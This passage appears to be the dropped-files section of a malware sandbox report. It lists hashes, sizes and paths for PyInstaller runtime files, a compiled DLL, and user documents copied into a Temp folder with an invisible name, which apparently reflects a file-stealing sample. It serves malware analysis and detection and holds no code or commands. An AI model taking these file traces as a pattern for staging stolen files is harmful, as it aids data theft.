                        • SHA256 d66c3b47091ceb3f8d3cc165a43d285ae919211a0c0fcb74491ee574d8d464f8
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        _bz2.pyd
                        • Path C:\Users\Admin\AppData\Local\Temp\_MEI47882\_bz2.pyd
                        • Size 81KB
                        • SHA256 5843872d5e2b08f138a71fe9ba94813afee59c8b48166d4a8eb0f606107a7e80
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        _ctypes.pyd
                        • Path C:\Users\Admin\AppData\Local\Temp\_MEI47882\_ctypes.pyd
                        • Size 120KB
                        • SHA256 e662d2b35bb48c5f3432bde79c0d20313238af800968ba0faa6ea7e7e5ef4535
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        _hashlib.pyd
                        • Path C:\Users\Admin\AppData\Local\Temp\_MEI47882\_hashlib.pyd
                        • Size 62KB
                        • SHA256 39bc615842a176db72d4e0558f3cdcae23ab0623ad132f815d21dcfbfd4b110e
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        _lzma.pyd
                        • Path C:\Users\Admin\AppData\Local\Temp\_MEI47882\_lzma.pyd
                        • Size 154KB
                        • SHA256 613de58e4a9a80eff8f8bc45c350a6eaebf89f85ffd2d7e3b0b266bf0888a60a
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        _queue.pyd
                        • Path C:\Users\Admin\AppData\Local\Temp\_MEI47882\_queue.pyd
                        • Size 30KB
                        • SHA256 2f71046891ba279b00b70eb031fe90b379dbe84559cf49ce5d1297ea6bf47a78
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        _socket.pyd
                        • Path C:\Users\Admin\AppData\Local\Temp\_MEI47882\_socket.pyd
                        • Size 76KB
                        • SHA256 39715ef8d043354f0ab15f62878530a38518fb6192bc48da6a098498e8d35769
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        _sqlite3.pyd
                        • Path C:\Users\Admin\AppData\Local\Temp\_MEI47882\_sqlite3.pyd
                        • Size 115KB
                        • SHA256 ddbed9d48b17c54fd3005f5a868dd63cb8f3efe2c22c1821cebb2fe72836e446
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        _ssl.pyd
                        • Path C:\Users\Admin\AppData\Local\Temp\_MEI47882\_ssl.pyd
                        • Size 155KB
                        • SHA256 cb42e8598e3fa53eeebf63f2af1730b9ec64614bda276ab2cd1f1c196b3d7e32
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        base_library.zip
                        • Path C:\Users\Admin\AppData\Local\Temp\_MEI47882\base_library.zip
                        • Size 1.7MB
                        • SHA256 d7234d5894696b5165d878e0bf98bec9c20eea93628cc901dffd676e107ad5db
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        libcrypto-1_1.dll
                        • Path C:\Users\Admin\AppData\Local\Temp\_MEI47882\libcrypto-1_1.dll
                        • Size 3.3MB
                        • SHA256 976ce72efd0a8aeeb6e21ad441aa9138434314ea07f777432205947cdb149541
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        libffi-8.dll
                        • Path C:\Users\Admin\AppData\Local\Temp\_MEI47882\libffi-8.dll
                        • Size 34KB
                        • SHA256 128a583e821e52b595eb4b3dda17697d3ca456ee72945f7ecce48ededad0e93c
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        libssl-1_1.dll
                        • Path C:\Users\Admin\AppData\Local\Temp\_MEI47882\libssl-1_1.dll
                        • Size 686KB
                        • SHA256 2aebb73530d21a2273692a5a3d57235b770daf1c35f60c74e01754a5dac05071
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        python311.dll
                        • Path C:\Users\Admin\AppData\Local\Temp\_MEI47882\python311.dll
                        • Size 5.5MB
                        • SHA256 a0cf640e756875c25c12b4a38ba5f2772e8e512036e2ac59eb8567bf05ffbfb7
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        select.pyd
                        • Path C:\Users\Admin\AppData\Local\Temp\_MEI47882\select.pyd
                        • Size 28KB
                        • SHA256 0046eb32f873cde62cf29af02687b1dd43154e9fd10e0aa3d8353d3debb38790
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        sqlite3.dll
                        • Path C:\Users\Admin\AppData\Local\Temp\_MEI47882\sqlite3.dll
                        • Size 1.4MB
                        • SHA256 8d58db3067899c997c2db13baf13cd4136f3072874b3ca1f375937e37e33d800
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        ucrtbase.dll
                        • Path C:\Users\Admin\AppData\Local\Temp\_MEI47882\ucrtbase.dll
                        • Size 959KB
                        • SHA256 2ab2a74bcb5bfd8248d232eb3bc56698fb5173b9ff7fc0daf87d8120d0f448d7
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        unicodedata.pyd
                        • Path C:\Users\Admin\AppData\Local\Temp\_MEI47882\unicodedata.pyd
                        • Size 1.1MB
                        • SHA256 ecf7836aa0d36b5880eb6f799ec402b1f2e999f78bfff6fb9a942d1d8d0b9baa
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        __PSScriptPolicyTest_f2oovtia.1j5.ps1
                        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_f2oovtia.1j5.ps1
                        • Size 60B
                        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        mjci12es.dll
                        • Path C:\Users\Admin\AppData\Local\Temp\mjci12es\mjci12es.dll
                        • Size 4KB
                        • SHA256 f8498b743e6c2059bef97880fefe7e8da8c1c6c63561fcc1a4b8276026de9318
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        EnableStep.doc
                        • Path C:\Users\Admin\AppData\Local\Temp\  ‍       \Common Files\Desktop\EnableStep.doc
                        • Size 974KB
                        • SHA256 16d36d5d5f1380141f5da61b09035316c5d293abb3e9df54d38ffefc32f59df3
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        GroupUnblock.png
                        • Path C:\Users\Admin\AppData\Local\Temp\  ‍       \Common Files\Desktop\GroupUnblock.png
                        • Size 422KB
                        • SHA256 a2018081bebf3d069e2014f9703acf1d04e45317df375b2c5bffd92a6b7de2df
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        MoveFind.xls
                        • Path C:\Users\Admin\AppData\Local\Temp\  ‍       \Common Files\Desktop\MoveFind.xls
                        • Size 1.2MB
                        • SHA256 de8da768044555f2634ee60223d721d5b0fc6ce445fddff0566731096644eaed
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        ResizeConvert.xlsx
                        • Path C:\Users\Admin\AppData\Local\Temp\  ‍       \Common Files\Desktop\ResizeConvert.xlsx
                        • Size 11KB
                        • SHA256 490fc5b34d78b34de1e544c6fdd3b183a2eb9047fe6b7a01a61d165b7b6d15ed
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        HideConvertFrom.docx
                        • Path C:\Users\Admin\AppData\Local\Temp\  ‍       \Common Files\Documents\HideConvertFrom.docx
                        • Size 1.1MB
                        • SHA256 bdbe12334ab447551be54021c41b406bb3f6b360f87e1a0c3afce68bf5aca4bb
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        PushConvertTo.xlsx
                        • Path C:\Users\Admin\AppData\Local\Temp\  ‍       \Common Files\Documents\PushConvertTo.xlsx
                        • Size 11KB
                        • SHA256 dff12af7d8d4c8477e63ab091d91f267848193b1bde9299e2715c03ac01701cb
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        RestoreSwitch.docx
                        • Path C:\Users\Admin\AppData\Local\Temp\  ‍       \Common Files\Documents\RestoreSwitch.docx
                        • Size 14KB
                        • SHA256 b3960d3d8a89a82276f1ecd4c16d1ed4b7096c7a214c49f1ffc00572bdd953d9
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        UnlockComplete.csv
                        • Path C:\Users\Admin\AppData\Local\Temp\  ‍       \Common Files\Documents\UnlockComplete.csv
                        • Size 1.4MB
                        • SHA256 66784031e1c27b3d5066ad8f3d8bcf048214457557276899da7d95615bb832f1
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        ApproveEnter.txt
                        • Path C:\Users\Admin\AppData\Local\Temp\  ‍       \Common Files\Downloads\ApproveEnter.txt
                        • Size 975KB
                        • SHA256 ff36718b58fd1feb122595b949ff153d3f6d2c06fe7e1d74253fe9fb149814bf
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        DebugExport.csv
                        • Path C:\Users\Admin\AppData\Local\Temp\  ‍       \Common Files\Downloads\DebugExport.csv
                        • Size 1.5MB
                        • SHA256 0045353a6a11e6d7e72a702d7482158f00058597a396edd65bae4c6013bc3024
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        GrantGet.xlsx
                        • Path C:\Users\Admin\AppData\Local\Temp\  ‍       \Common Files\Downloads\GrantGet.xlsx
                        • Size 425KB
                        • SHA256 4ac8a267c8d2459b363137600438db5b35181e04ab0ebf2c6650ccf536577f0d
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        SkipInvoke.txt
                        • Path C:\Users\Admin\AppData\Local\Temp\  ‍       \Common Files\Downloads\SkipInvoke.txt
                        • Size 1.0MB
                        • SHA256 324b1cef186faab777e393519c698124ed270e4febd997cace8a7b04b57e9722
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        BackupMeasure.ico
                        • Path C:\Users\Admin\AppData\Local\Temp\  ‍       \Common Files\Pictures\BackupMeasure.ico
                        • Size 764KB
                        • SHA256 16363724b1614b8a028cc70d95b452f580205ec2c527dc594a327179cc4e57af
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        JoinResume.jpeg
                        • Path C:\Users\Admin\AppData\Local\Temp\  ‍       \Common Files\Pictures\JoinResume.jpeg
                        • Size 600KB
                        • SHA256 7703324b277acc9a1d49c03cc0f52c9a2383382b393e84a420a624256b01aa52
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        ResolveGrant.jpeg
                        • Path C:\Users\Admin\AppData\Local\Temp\  ‍       \Common Files\Pictures\ResolveGrant.jpeg
                        • Size 364KB
                        • SHA256 48e1d867549d9a93b958b48d56fa0c54d1c41a7c7fb4426587f52bf08c0a5822
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        RestartWait.jpg
                        • Path C:\Users\Admin\AppData\Local\Temp\  ‍       \Common Files\Pictures\RestartWait.jpg
                        • Size 473KB
                        • SHA256 1b952c4e0c7686f32eade6ff966799a7866194477377e39990f716db6b65e8ad
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        SplitUnregister.png
                        • Path C:\Users\Admin\AppData\Local\Temp\  ‍       \Common Files\Pictures\SplitUnregister.png
                        • Size 273KB
                        • SHA256 e01cd6b62e584c3b72251f9adb0c4d2c9413e051b86d9c6d626c1e7b1f89b0cd
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        kEpjW.jpg
                        • Path C:\Users\Admin\AppData\Local\Temp\  ‍       \Common Files\Pictures\kEpjW.jpg
                        • Size 24KB
                        • SHA256 3fafdf9e5e1672049398af751fd8657cb9a8a5a68c0349347241ce96fe35661e
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        Display (1).png
                        • Path C:\Users\Admin\AppData\Local\Temp\  ‍       \Display (1).png
                        • Size 536KB
                        • SHA256 bad75bd80174909a8a269b37a29792504a797cdadd33cb6b57937e3dc847d87f
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        CSCA68EA3403F2446AA0A2ECF7FEF5ED22.TMP
                        • Path \??\c:\Users\Admin\AppData\Local\Temp\mjci12es\CSCA68EA3403F2446AA0A2ECF7FEF5ED22.TMP
                        • Size 652B
                        • SHA256 f5542a53c9058e3f21df976e21f44588240f8d21362ec1e949c7f840dd93c6af
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        mjci12es.0.cs
                        • Path \??\c:\Users\Admin\AppData\Local\Temp\mjci12es\mjci12es.0.cs
                        • Size 1004B
                        • SHA256 8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        mjci12es.cmdline
                        • Path \??\c:\Users\Admin\AppData\Local\Temp\mjci12es\mjci12es.cmdline
                        • Size 607B
                        • SHA256 e1e05376d35f11c2ea0b49dc036c8745c9416f49e6304ab6e307b1e6459c9b7c
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        memory/2616-89-0x00000222A1150000-0x00000222A1172000-memory.dmp
                        Download

                        memory/3548-128-0x000001B492070000-0x000001B492A14000-memory.dmp
                        Download

                        memory/3584-130-0x000001D65F6B0000-0x000001D65F6B8000-memory.dmp
                        Download